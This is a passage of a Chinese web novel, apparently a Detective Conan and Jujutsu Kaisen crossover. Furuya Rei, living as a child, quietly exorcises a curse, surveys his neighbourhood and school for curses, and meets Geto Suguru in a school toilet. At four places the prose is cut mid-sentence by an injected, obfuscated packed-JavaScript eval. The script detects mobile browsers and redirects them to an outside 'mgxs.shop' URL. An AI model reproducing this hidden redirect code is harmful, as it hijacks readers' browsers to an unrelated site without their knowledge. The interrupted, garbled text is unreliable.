石田加奈子的表情卡住,后知后觉意识到自己又说错话了,她摸摸鼻子:“没错,就是拓海的意思。” 石田加奈子心虚地看向石田拓海,后者默默地和她对视,石田加奈子冲他合掌晃了晃,石田拓海心累地移开视线。 降谷零眨眨眼,看了看石田加奈子,又看了看石田拓海,最后忍不住笑出来:“石田阿姨和石田叔叔好有趣。谢谢你们的巧克力,我会尝一下的。” 他将巧克力收起来,一手按住另一手的上臂,举起胳膊示意了一下:“那么作为回礼,我来替石田阿姨按摩一下吧?不好意思啊,我刚刚不小心听到了你们的聊天,知道石田阿姨很困扰肩膀痛,其实我按摩技术还不错。” “诶?你很擅长这个吗?难不成是家学渊源?好厉害!”石田加奈子也不拒绝,直接蹲着背过身,“如果有用的话,我再买十盒巧克力送你!” 石田加奈子的嘴太快,石田拓海想捂都没捂住,他深吸一口气:“加奈子是说,她很感谢你的热心。”不是在有条件送礼,也不是在上心理负担! 石田加奈子在石田拓海开口后低下头装瞎子,假装看不见他恨铁不成钢的眼神:“嗯嗯,对。” 降谷零笑笑:“我明白石田阿姨的意思的,石田叔叔不用担心我误解。” “那么失礼了,我开始了。” 降谷零礼貌致歉后双手按上石田加奈子的肩膀,他根据以前了解过的知识,在穴位上装模作样地按摩了几下,然后在又一次揉捏时,调动咒力,用力捏了一把,盘踞在石田加奈子肩膀上的细长条咒灵灰飞烟灭。 见到恶心的虫子没了,降谷零暗自松了口气,看来这个咒灵等级不高,他没遇到超规格的对手。 咒灵没了,效果也很显而易见。 “咦?”石田加奈子愣了一下,“等等,我怎么感觉忽然轻松了许多?” 她站起来活动了一下肩膀,惊讶地睁大眼睛:“真的诶,我的肩膀忽然不难受了!” 石田加奈子回身稀奇地看着降谷零:“你出自神医世家?” 降谷零:不,我出自魔法学校。 开玩笑的。 降谷零摇摇头:“我觉得是石田叔叔已经帮石田阿姨缓解了症状。如果刚刚石田叔叔继续按,石田阿姨肯定就好了,我是凑巧捡漏了石田叔叔的功劳。” “是吗?”石田加奈子迟疑地看向石田拓海。 石田拓海也不确定,但他觉得不是这样,他之前给加奈子按摩多少次了,也没见见效,现在能忽然有用? 石田拓海觉得更可能是降谷零做了些什么,他不是没听过一些老传承的神奇案例,说不定这孩子就学到了这些——虽然年龄看上去有点太小了,但说不定是天才。 石田拓海看向降谷零,想要确认一下。 降谷零回望,努力睁圆眼睛,在里面写满了“与我无关”。 石田拓海:。 原来如此,是隐世家族?他懂了。 石田拓海站起来,拍了拍因为肩膀好了正在傻乐的石田加奈子:“不管怎么说,降谷君都帮了大忙,我们要谢谢他。” “我知道。” 石田加奈子俯身揉了揉降谷零的头:“降谷君,今天多谢你了。不过我们才刚刚搬来,家里还比较乱,等我们收拾好,就请你来家里玩——当然,也有谢礼。” 降谷零猝不及防,头被按得低下去:“……不用了,我也没有帮太大的忙。而且石田阿姨和石田叔叔不是已经给过我巧克力了吗?按摩是我的回礼。” “那不行,这不一样。”石田加奈子大手一挥,“总之,就这样说定了。” 石田拓海先报了他们的门牌号,然后问:“降谷君住在哪里?” 降谷零本想隐瞒,但转念一想,周围就这么大,他的外貌又这么明显,只要有心问,怎样都能打听到,不如直接自己说。 他指了指不远处的楼:“我住那栋,206。” …… 三人又东拉西扯地聊了一会儿后才分开,降谷零 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17066615|194768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 低头看了看自己刚刚弄死咒灵的手。 咒术师有评级,只是降谷零并不知道自己是具体的几级,同样也不是特别清楚咒灵等级划分的依据。 假设第一次遇见的蝇头不是离开,而是被他消灭…… 降谷零的思绪在这里卡了一下。 好像就算那只蝇头是被他消灭的,也说明不了什么?因为根据资料显示,蝇头的等级很低,属于“无等级”,所以根本不能用来作为咒灵等级的参考。 那就按保守估计,把刚刚的那个咒灵算个四级?毕竟它又瘦又小的…… 呃,咒灵的等级能用体型估计吗?感觉用咒力量更合理点? 但还是那个问题,没有参考指标。 而且刚刚他也没仔细看那只咒灵,因为生怕又被突然袭脸,到时候在石田夫妇面前他要么成为和空气斗智斗勇的精神病,要么成为当场血溅三尺的恐怖片主角。 那画面太美,他不敢想象。 不过这次还是太冲动了,也就是石田加奈子人还不错,又主动喊住了他,他才抱着“试一试不亏”的态度出手,否则他绝不会贸然冒险。 关于等级划分的事情没想出来个所以然,降谷零暂时放弃了,打算在之后出门的时候多观察一下周围,看看能不能遇见其余的咒灵。 正巧,他准备出门去超市一趟,是个顺路调研的好机会。 降谷零回家拿上购物袋,往头上扣了一顶咖色鸭舌帽重新出门。 超市的距离不远,以他现在的走路速度,十几分钟就能到。 一路上,降谷零都在观察四周的情况,但一直没发现任何咒灵,甚至连残秽的痕迹都没见到。 降谷零一时有些失望,但转念一想,没有咒灵和残秽就代表周围没有危险,这是好事,住处安全他也能少些操心。 结果刚这样想完,降谷零就在超市门口看见一只路过的蝇头。 降谷零:…… 降谷零:没关系,蝇头的危险性约等于无,而且这里已经远离了住宅区,他的住处还是安全的。 降谷零面不改色地在超市大采购,将冰箱冷冻层里的速食补了些,又买了明天需要的食材,还额外挑了些水果。 将买好的东西拎回家归纳好,降谷零拎着水果敲响隔壁松本婆婆的家门:“松本婆婆,是我。” “汪!” 先回应的是狗叫声,然后门很快打开,降谷零接住扑到他怀里的小白狗:“又见面了,松饼。” “汪汪!”博美犬尾巴摇得欢快,热情地回应。 降谷零揉了揉小狗的脑袋,和松本婆婆打招呼:“松本婆婆好,这是给您带的水果。” 松本婆婆将他迎进屋:“哎呀,你这孩子!都说了几遍了,不要买东西,不要买东西,结果你还买。” 降谷零:“礼尚往来啊,婆婆还不是每次都特意给我留好吃的?” 为了防止松本婆婆继续念叨,降谷零迅速转移话题:“说起来,这次婆婆做了什么炖牛肉?我超期待的!”他眨着眼睛仰头看着松本婆婆。 降谷零的卖萌打出了特攻,松本婆婆将原来的话咽回去,带他去厨房:“做了一些奶油炖牛肉,里面特意多加了一些你喜欢的芹菜。” 降谷零脚步一顿:“我喜欢的芹菜?” 16.第 16 章 松本婆婆乐呵呵道:“是啊,上次请你吃饭,桌上的菜虽然你都吃了,但夹芹菜的次数明显要多,我猜你喜欢芹菜。” 降谷零:…… 原来如此,是无意间暴露的喜好啊。 降谷零又想起之前被那个叫夏油杰的孩子“背后偷袭”的事情,看来他从组织离开后确实松懈了不少,要重新紧一紧弦了。 降谷零没再多说什么,简单道谢后他随意找了个话题开启闲聊,然后陪着松本婆婆东拉西扯了好一会儿,才在帮忙打扫完卫生告别离开。 拎着食盒回到自己的住处,降谷零松了口气,彻底放松。 有一说一,降谷零感觉和松本婆婆相处时他的压力实在有点大,毕竟他已经很久没有这种被长辈关照的经历了,虚情假意他能游刃有余,但这种发自真心的爱护他是真的有些不知所措。 ——尤其是他一开始完全是出于利益角度的考量去接触松本婆婆的。 坦白讲,降谷零虽然是暴言“我的恋人是这个国家”的公安警察,但这不代表他责任心爆棚到想要保护每一个世界的日本。 假如这个世界是他的世界的平行世界,那他也许会看在尚未死亡的故人的份上尽一把力,也算是满足自己的遗憾。 但很可惜,这里不是。 所以在确定这个世界和他的世界不一样时,降谷零就决定要专心做委托,力求一切以任务优先,争取早日回自己的世界。 在定下这个目标后,降谷零理了一遍自己的情况,发现他有两个“当务之急”。 首先,他的外貌过于独特。 其次,他是一个“年龄很小的独居者”。 外貌本就让他在人群中格外显眼,会吸引各种各样的视线,如果再加上第二个代表了各种故事的标签,那他就更显眼了。 日本虽然是个注重社交距离的国家,但人类的好奇心是控制不住的。降谷零不想被问东问西,也不想被围观,他只想安安静静地去做委托。 所以从到这个世界的第一天,降谷零就开始着手处理风险。 住处是长期停留的地方,降谷零安顿下来后的第一件事就是有目的地筛选周围的住户,比如哪些是需要尽量避开的爱八卦的,哪些是心软的容易利用的,有哪些是可有可无没必要在意的……还有其他很多划分的种类。 松本婆婆被归在“心软”的那一类,又恰好住在他隔壁,是降谷零最先选择打好关系的人。 原本降谷零只打算普通地维护一下邻里关系,然后含糊地透漏一点人设,以此驱使松本婆婆成为他在这附近的“喉舌”。 结果事情不知道从什么时候起就犹如脱缰的野马,一去不回。 也许是松本婆婆过于心软了,每次都多关心他一点,也许是降谷零太有礼貌了,每次都会以同等的水平回应松本婆婆的关心。 总之,不知不觉间,降谷零就莫名其妙地成为了松本婆婆毫无血缘关系的“邻居孙子”。 降谷零:。 降谷零看着放在餐桌上的食盒,心情很是复杂。 但事已至此,再怎样结果都不会改变,降谷零叹口气,在心中暗自发誓:这是第一次,也是最后一次。 回忆了一遍和其他人的相处,确定都没问题后,降谷零满意地放下心来,转身去写作业。 ——没错,写作业。 就算是降谷·警校优秀毕业生·公安卧底·阴险狡诈情报贩子·神秘主义者波本·咖啡厅网红厨子·波洛人气服务生·沉睡小五郎头号大弟子·零组老大·组织覆灭主力军·零,在变小后也得老老实实去写作业。 哈,这是什么《功成身退的我在穿越后成为小学生从写作业开始拯救世界》的糟心剧情? 而且当时世界意识说的是二十年,他该不会小学、初中、高中和大学全部都要重来一遍吧?虽然不是做不到,但是真的不想啊! 降谷零郁闷地翻开本子,扫了一眼上面过于简单的题,开启二倍速。 …… 分针转了三分之一,降谷零解决掉了所有来自学校的累赘。 他放下笔,用打包回来的奶油炖牛肉解决掉晚饭,然后重新坐到电脑前。 对着安全屋的监控设备仍在兢兢业业地工作,降谷零挨个查看了一遍,依旧没有发现异常。 降谷零摸了摸下巴,有点摸不准到底是真的无事发生,还是暴风雨前的宁静。 他诚挚地希望是前者,因为这意味着他能以风使为切入点,发展一条咒术界的人脉,这样他的委托进度又会往前走一截。 如果是后者……降谷零的眉眼瞬间变得凌厉。 如果是后者,就代表他昨晚的那一通操作的作用为零,那么接下来他的任务就需要从“拯救世界”更改成“活下来”了。 之前的那个网站明显是专为特殊对象服务的,能做到这种地步,风使背后肯定有一个小有规模的势力,所以降谷零要是和风使对上,基本就是和一整个势力对上了——还是会魔法的那种势力。 降谷零不禁按了按眉心,万一真的对上,那他的劣势有点大……唯一能称作是底牌的世界意识还在休眠…… 等一下。 倏地,降谷零的动作顿住。 假如—— 他是说假如—— 假如自己被风使他们给围剿了,那按照协议说的“不论成功与否,在出现意外时,要率先保证送他回去”,他到时候岂不是可以直接回家了? 降谷零摸了摸自己属于公安的灵活的良心和底线,可耻地心动了。 虽然这样是坑了这边的世界意识,但那个委托本就是一成的私心和九成的无奈,现在私心没了,就变成了十成十的不得已而为之,那他肯定是怎么快怎么来啊! 所以是干? 还是不干? 降谷零的左脑和右脑开始疯狂打架,他的指尖无意识地扣弄着键盘,监控画面反复切换,电脑屏幕的光影在他的脸上不断闪烁。 世界意识虽然是全知的,但那只是相对而言,正所谓“眼见未必为实”,只要小心点,算计一下应该不成问题,他对自己的演技还挺有自信的——毕竟他只是不小心莽了一点点而已,他在自己的原世界也一样头铁地飞天遁地,谁能说他不尽心? 退一万步讲,就算世界意识发现了真相,但他也只是合理利用了规则,不能算他的问题吧?他都“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17076807|194768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三面颜”了,漏给他这样一个漏洞,他不抓紧用起来,对得起这个术式名吗? 降谷零本就理直气壮,现在越想越觉得自己没问题,是世界意识全责——不论是哪一个世界意识。 只是这样做之后,唯一需要担心的就是这里的世界意识直接掀桌子。 毕竟这里的世界意识都快要没了,光脚的不怕穿鞋的,鬼知道世界意识能做到哪种地步,别直接和他的世界来个同归于尽,那他就亏大了。 想到这一点,降谷零失望地将蠢蠢欲动的心按下去。 不行,不能急,要慢慢来。 降谷零遗憾地将注意力转回当下,思考着如果风平浪静,他要怎么利用风使达成他的后续目的。 等想完这些,他又开始思考如果是风雨欲来,他要怎么逃脱。 想着想着,降谷零的思绪又拐了个弯:他有点想去安全屋那边再转一次。 老实说,这样看监控收集到的线索很少,还是实地检查一遍更好,这样能发现监控收录不到的线索,比如人类的痕迹,或者咒力痕迹。 不过降谷零到底没有当天就去,他打算再等等,先去干点别的。 比如扩大一下以目前住处为圆心的,搜索咒灵是否出没的范围。 说干就干,降谷零前一天做好决定,后一天早晨就借着锻炼实施了行动。 然后他就发现了一件事:住宅区有点过于干净了。 其实昨天降谷零就发现这件事了,只是昨天的时间不够,没来得及仔细检查,不太能确定。 但今天降谷零以螺旋纹的路线,绕着圈子将周围彻底检查了一遍,每一个边边角角都没放过。 也因此,他确定了住宅区没有一只资料里说的“最常见”的蝇头。 而在住宅区外,离住宅区越远,蝇头出没的次数越多。 降谷零走在路上百思不得其解。 按理来说,人越多的地方就会越容易出现咒灵。超市、车站、商业街这些人流量大的地方,虽然没看见其他咒灵,但都有蝇头出没,怎么就住宅区干干净净? 难不成世界意识给他选的这个住处是什么“不会产生咒灵”的风水宝地? 不。 也许是有其他咒术师处理了? 不对,他不记得有听人提起过这附近出过事,所以应该不会有人专门跑过来处理这些——就算有,那也不该只处理住宅区吧? 所以果然是世界意识给他开的后门? 这样想想,这种关照确实符合之前协议里说的“不计一切代价保护他”。 降谷零:…… 不久前还在考虑算计世界意识的降谷零忽然感觉自己的良心好像痛了一下。 降谷零沉默地捂住自己的心口,强烈谴责了一番昨天的自己——怎么能这么坏呢?世界意识对他多好啊!人果然无法理解以前的自己。 ——但再来一次他大概还是一样。 想到这一点的降谷零眼神飘忽一瞬,但很快他又理直气壮起来:想快点回家不是人之常情吗?反正不能怪他吧? 他仿若无事发生地抬眼扫了周围一眼,然后透过书店的橱窗看见了一个眼熟的身影。 17.第 17 章 是夏油杰。 黑色短发的男孩正捧着一本书看,降谷零借着优越的视力,看见他拿的是一本漫画书,题目是…… 《星渊馈赠》? 降谷零对漫画并不感兴趣,也很少去关注,只觉得这名字似乎有点奇怪,不像是子供向的漫画。 但也许是世界差异?或者漫画家的特立独行? 降谷零随意猜测几下后将之抛到脑后。 见对方沉迷在自己的世界,他也没打扰,顺着来路回家。 “我回来了。” 降谷零一如既往地冲空房间喊了一声,然后拿起之前做的实验记录表格,分别去查看之前用于做咒力残秽实验的实验品们。 空旷处的咒力残秽消散得快,密闭处的则慢;咒力浓度低的消散得快,浓度高的慢。 这些和资料中写得一样,降谷零简单记录下来后把重点放在了消散速度上。 他对比不同浓度咒力痕迹的消散时间和消散的浓度,用自己自创的计算方法估算出每个的大概的消散速度,然后将粗略得来的数字记下来。 降谷零知道以后自己一定会在什么时候使用咒力,但那个“时候”未必是方便使用咒力的时候,他得提前做好预案,方便在未来使用咒力时估算需要输出的量,防止被人查到踪迹——如果咒力和指纹一样独一无二的话。 比如,在大致摸清咒术界的各个势力前,降谷零不打算把自己暴露在各方的视野中,这就代表他不能留下让人查到的咒力残秽——就算留下了,也要在其他人发现前让残秽消失。 可惜了,咒力输出量是个比较玄之又玄的东西,降谷零也只能凭感觉来。 失望,这样看起来还是咒具好用,他也更习惯使用工具,而不是魔法对轰。 降谷零抬起手,翻转手掌打量了一下还带着点肉的小手。 他先比了一个手.枪的姿势,又换成曾经在电影里看到过的竖起手掌发射光炮的姿势,然后又换回手.枪的姿势。 降谷零摇摇头,觉得还是手.枪好啊,他想他的老战友了。 所以咒术界会有手.枪这种咒具吗?但之前风使给的资料里好像全是以冷兵器为例图来着?该不会咒具里没有热武器吧? 心里忽然突了一下的降谷零又打开了之前那份转存的资料,重看了一遍咒具的部分。 “不行……” 降谷零蹙起眉头。 大概是因为不是面向正式成员的资料,这份资料只有基础的普及知识的作用,很多地方解释得都不清楚,降谷零要是想要了解得更清楚,要么是加入他们,要么是自己去查。 前者再议,后者……降谷零想了想自己现在的情报网,遗憾地将这个任务暂时推迟。 将待办事件再新增一件事后,降谷零又去扫荡网络,想试着再捞一个特殊网站,比如咒术界的暗网之类的。 实在不行普通的暗网也行,他不挑。 提到这个降谷零就又想叹气。 这玩意一般有准入门槛,除此之外还要有关系,想进去难如登天。 要不是因为年龄太小,降谷零早就重操旧业了,到时候混进去一个暗网还不是手到擒来?哪还用得着这么费劲,还要靠大海捞针。 倒也不是不能当游走于网络的情报贩子,或者更简单粗暴点,直接黑进去,但降谷零有点不放心。 他是有那么点电脑技术,可那也只是“勉强能用”的程度,人外有人天外有天,在真正的专业人士眼里,他那点伎俩根本就是三脚猫功夫,就算在原世界,他也要么是靠组织的辅助,要么是靠公安的后援。 现在到了这边……笑死,本就是孤身一人又手无寸铁的小孩子,世界还带了“非科学”的标签,更加不敢轻举妄动。 既然没法速成,那就只能慢慢磨。 降谷零佛系地敲着键盘,盯电脑盯了一天,最后收获空空也不气馁,甚至内心一点儿波动都没有。 从一开始降谷零就知道这事急不来,所以根本没抱希望,自然也不会对结果有什么期待,左右他又不赶死线,时间多的是。 至于之前只用短短不到半个月的时间就能找到“厌丑症”网站,还白得了那么一堆情报什么的…… 那完全是他撞大运了,跟随手买彩票就得头奖一个概率,碰到一次就偷着乐了,还奢望能再有一次? 运气都是守恒的,降谷零不想以后喝凉水都塞牙缝。 尤其是这里是“非科学”世界! 非科学! 这个词要加粗画重点! 在他遵守科学规则的原世界里,大家还会为了好运去求符,现在在这种不科学的世界里,那就更应该注意这些了。 很看得开的降谷零在晚上临睡前按部就班地再次检查了监控视频,确定一切如常后,早早上床睡觉。 ——别惊讶,打工皇帝健康作息是有不得已的理由的。 比如,为了长高。 再比如,为了长高。 又比如,为了长高。 虽然降谷零在原世界的身高还不错,可谁知道重新再成长一次会不会能和之前一样? 他受够了身高不够的问题,不想再因为忘记踩凳子而没够到东西,所以一定要排除掉所有影响他长高的因素! 因此,一直陪伴降谷零的,诸如熬夜和通宵之类的坏习惯立马被他打包丢进了垃圾桶——当然,如果像是之前周五遇见的那种不得不做的事情,降谷零也会从垃圾桶里将丢掉的习惯拍拍灰捡起来,反正就是“各论各的”。 说起来……按照正常逻辑来讲,只要他完成任务,回原世界后应该就是直接恢复原样吧?从这个角度讲,降谷零倒是不用担心自己会莫名其妙少一截身高。 但在没回去之前他还是要再重新长一遍的,所以身高还是很重要的,毕竟三五年无所谓,但万一是在这边十几二十年,降谷零可受不了缩水的身高。 唔……其实万一重新长一遍真的比以前矮了,他大概也察觉不出来?只有在回去后才会察觉到吧…… 想着些有的没的,降谷零的思绪在黑暗中渐渐变得模糊,最终陷入沉睡。 …… 一夜好梦,降谷零第二天准时按掉闹铃。 忙碌的周末过去,今天是周一,又是一个上学日。 起床、洗漱、晨练、吃早饭,然后出门去上学,降谷零有条不紊地进行着这些已经快要成为习惯的行程。 从他的住宅出发,学校和商圈在两个方向。 昨天降谷零确定了后者那边的咒灵情况,今天他趁着上学顺路,也留意了一下这边周围咒灵的情况。 至于结果嘛……该说意外还是不意外呢?这边居然也很干净。 除了路上,校园里——暂时只有他早晨会经过的校园的前半部分——完全没有任何咒灵出没,和住宅区的情况一模一样。 降谷零又摸了摸自己的心口。 糟糕,良心突然又好痛。 “降谷同学?” 斜后方的一个男孩注意到降谷零坐在座位上一动不动好一会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17083985|194768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿了,靠过来时正巧看见他捂着胸口,立刻担心地问:“是不舒服吗?要不要我给老师说一声,陪你去医务室?” “不用了,佐藤同学,我没什么大碍。”降谷零露出笑容,“我只是突然想到,我今天早晨出门太急,忘记给楼下的小咪喂食了,有点担心。” 听到前面的话,佐藤同学的脸色好了一些,但听见后面的话,他又紧张起来:“欸?是你之前提到过的那只小灰猫吗?那怎么办,他会不会饿坏?” 降谷零连忙安抚他:“不会啦,小咪认识很多好心人,他等不到我就会去找别人的。” 说到这里,他有点不好意思地抓抓头发:“其实我刚刚担心也只是一厢情愿罢了,小咪很少找我吃东西的,他更喜欢去隔壁那条街玩。” 佐藤同学摇头:“猫咪都会有点认生,还……慢热?这个词是这样用的吧?总之,你人这么好,多和他相处相处,让他知道你的好就好了。” 说到这里,佐藤同学勾起唇角,眼中闪起期待的光芒:“然后到时候你再把他介绍给我,他就更容易接受我,到时候我们一起和他做好朋友!” 降谷零认真地点头:“你放心,我一定会和他打好关系的!” “一言为定!”佐藤同学也用力点了点头。 佐藤同学还想继续说点什么,但班级的门忽然被拉开,走廊的嘈杂声和班级内的混乱撞在一起。 与此同时,坂本和也探头进来。 教室里瞬间安静。 然后下一秒,整个班级都噼里嘭啷的:在地上乱窜的人立刻往座位上跑,坐姿七扭八歪的人拉着椅子调整自己和桌子的距离,所有叽叽喳喳的人都闭上嘴,假装很忙地整理文具。 坂本和也对一键刷新的班级习以为常,但还是用指着学生比划两圈:“都该干什么干什么啊,虽然离第一节课还有一段时间,但学校是学习的地方,别让我再看见你们嘻嘻哈哈的。” 然后,他冲佐藤同学招手:“佐藤翔太同学,过来一下,有点事需要你帮忙。” 同样是从降谷零座位旁赶着坐回去的佐藤翔太心虚地站起来:“好的,坂本老师。” 降谷零见人都僵硬了,在他路过的时候掩唇低声道:“你是在关心我,没来得及管纪律,没事的。” 说完,他又坐好,乖巧地冲门口叉腰看向这边的坂本和也抿唇笑了笑。 坂本和也隔空点了点他,降谷零眨眨眼装看不懂,然后坂本和也无奈地摇摇头,带着已经恢复自然、悄悄和降谷零挥手再见的佐藤翔太离开。 …… 接下来的学校时间基本就是在上课和维护人际关系。 小学生的日常是平淡到有些无聊的,时时刻刻地保持完美的“别人家孩子”的人设也很枯燥乏味,好在降谷零有当安室透和波本的经验,相较那时候分毫差错都不能有的面具生活,现在这种情况连洒洒水都算不上,费不了什么心神。 不过该偷的懒还是要偷的,比如时不时避开人群摘下面具放松一下什么的。 下午五点半。 田径社的社团活动结束,按照规定,需要两个社团成员留下来打扫卫生,这次正好轮到降谷零。 他先一步包揽了运动场地的打扫,将另一个人三言两语打发去更衣室干活,嘱咐对方干完直接离开就好。另一个值日生也更喜欢工作量小的活,乐着应下,转身离开。 见人走远,降谷零揉了揉笑得有点僵硬的脸颊,又深呼吸体验了一下独自行动的自由空气后,也拿了打扫用具干活。 18.第 18 章 田径场在学校的后半部分,面积很大,但被几个户外社团分分就没有那么大了,因此降谷零干活的范围就小了不少,他只用管好自家的一亩三分地。 需要做的事情也不复杂,打扫一下跑道和两边不足半步宽的空闲区就好。 这些活降谷零分分钟就能搞定,不过为了不太过突出,他每次都会卡着大部队打扫的平均时间干完,今天也不例外。 只是和以往不同的是,降谷零这次没有直接离校,而是趁着放学时间的人来人往,戴着帽子在校园里到处乱晃,复查学校的咒灵情况。 其中,早晨没来得及看的学校的后半部分是重点。 但考虑到田径场现在都是一些经常一起进行社团活动的熟脸,他在那边闲晃有点突兀,会被拦下问话,降谷零就将那边放到了最后。 等成功磨蹭到最后一个值日生离开田径场,降谷零才慢悠悠地返回这边。 可惜,他转了两圈,依旧没什么收获。 校园里居然真的干干净净……降谷零摩挲着下巴,现在事实摆在眼前,在新的证据出现前,他只能相信自己之前的推断了。 降谷零抬眼看了看天空,刚准备再给世界意识再道句歉,就听见一声细小的抽噎声。 “呜……请问、没、没其他什么事的话,我能、能走了吗?” 降谷零的眼神瞬间变得严肃起来。 这话听起来实在不太妙,再加上委屈的语气,“霸.凌”两个字出现在降谷零的脑海中。 他冷了脸色,看向声音传出的方向。 那边只有一个设立在田径场的公共卫生间,离他不过四五步,降谷零快步跑过去。 恰在此时,又有一道声音传来,听上去有点烦躁:“你除了哭哭啼啼外还能干什么?” 降谷零一下停在入口,紧绷的表情中出现了一点懵。 怎么突然又出现一个男声?刚刚那个声音好像是女生来着?难不成是男生在女厕所欺负人?还是女生误入男厕被欺负? 降谷零抬头看着厕所入口处划分的性别标签,感觉有点棘手。 不行啊,这怎么这么复杂?现在还有老师在吗? 降谷零摸了摸口袋里私藏的手机,考虑着要不要摇能负责的人过来,实在不行拉一个女性同学也行。 “对、对不起,我错了……”抽噎声更明显了,声音带着恐惧。 情况似乎等不及了,降谷零眉头拧起,看向声音传出的男厕,快步走进去。 “闭嘴!不许哭了!也不许道歉!你这样像什么话!”那个男声更烦躁了。 降谷零愣了一下。 嗯?这个发展好像有点不对?而且,这个声音听起来也有点耳熟。 降谷零从转角处悄悄探头,看见在厕所深处的角落里,一个黑发男生堵在一个抱着书包缩在地上的人。 降谷零:…… 好眼熟,这不是夏油杰吗?怎么一副校霸的样子啊? 按之前短暂的交集来看,夏油杰不是会欺.凌别人的人,这中间大概有什么误会? 降谷零清了清嗓子,不再掩藏脚步声:“打扰了,请问你们在做什么?” 角落的两个人同时看向他。 夏油杰惊讶地“咦”了一声:“是你啊。” 而肉眼可见的,地上的那个人在察觉到夏油杰认识降谷零时,眼中露出了更绝望的神情,将头深深埋在书包上。 降谷零:。 他也没有那么吓人吧?之前到底发生了什么? “好巧,又见面了。”降谷零和夏油杰打了个招呼,走过去,但在看见地上那个人在他走一步颤一下后,无奈地停在了距对方三步远的位置。 夏油杰有点奇怪降谷零为什么这个点出现在这里:“你该不会是又被堵了吧?需要我去帮你教训人吗?” 降谷零被这耿直的问题弄得沉默了一瞬,不要直接就擅自下结论啊喂!他在夏油杰心里到底是个什么形象? “我没被堵,谢谢你的好意……” 降谷零看了看夏油杰,又看了看地上装鸵鸟的人:“你们在这里做什么?” 夏油杰抓了抓头发,皱眉看着地上的人:“在让他硬气起来,但是他根本不听。” 降谷零愣了一下,“他”?等等,之前那个声线居然是男生吗? 他仔细看了一下地上的人,但因为对方缩成一团,再加上小孩子没有发育完善,男生和女生的身形本就区别不大,没看出什么。 降谷零也不纠结,问:“硬气起来是指什么?” “嗯……”夏油杰沉吟道,“大概就像你之前那样,即使被堵了,也不会像他现在这样表现?” 降谷零又沉默了,所以自己是被当成参考线了吗?这算是夸吗? 看夏油杰的样子应该是,但也太一言难尽了吧,听起来真的像是一次性损了两个人,用五十步笑一百步。 降谷零感觉自己大概知道现在是什么情况了,如果不出意外的话,就是夏油杰帮助了一个学生,并试图激励对方提升自我实力,争取下一次靠自己突破困境。 但是因为这样那样的原因——降谷零觉得夏油杰的表达方式是主要原因——他们两个出现了交流障碍,导致了现在这种诡异的局面。 “我了解了。”降谷零暗自叹气,冲夏油杰露出一个笑容,“夏油同学如果不介意的话,可以让我来试试?毕竟我们两个应该更有共同话题嘛?” 夏油杰盯着降谷零看了看,犹豫地点点头:“既然你想的话,那你随便试一下吧。” 他往旁边迈了半步,让开位置:“放心,有我在,你不成功也没事。” 莫名其妙被小学生兜底的降谷零:…… “好哦,谢谢夏油同学。” 顿了顿,降谷零看着还在对方社交安全区里的夏油杰,委婉地开口:“夏油同学站了这么久,要不要去休息一下?” 夏油杰当即就要拒绝,想说他在这边保护他们。 但降谷零的速度更快:“这个同学也一定很希望夏油同学去休息一下吧?你在这边陪他这么久了,现在有我接班,周围也没有其他人了,他肯定不希望再麻烦你的。对吧,这位同学?” 听见这话,一直当鸵鸟的人立刻抬头,连连点头。虽然看起来新来的这个人和另一个人是一伙儿的,但明显后来的这个说话好听多了,也不会离他那么近,他宁愿和后面这个人待在一起。 见状,夏油杰也不再多说什么:“好吧,如果你们坚持的话。” 他一边往外面走,一边叮嘱:“我就在门口,如果有事记得喊我。” 降谷零应下:“好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096008|194768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,我们一定会的。” 等人出去了,降谷零回头看向地上的人。 结果刚和对方对上视线,对方就一个激灵低下头,更用力地抱住书包,指尖都泛白了。 降谷零也不靠近,而是原地蹲下,和对方保持视线平行的高度。 他冲地上的人露出一个温和的笑意,柔声道:“你好,我叫降谷零,是三年级二班的学生,初次见面,请多指教。请问你叫什么名字,我该怎么称呼你?” “……” 话音落下,并没有回复,气氛逐渐变得有些凝滞。 窝在角落的人等了又等,没等到对方的下一步,有点不知所措。 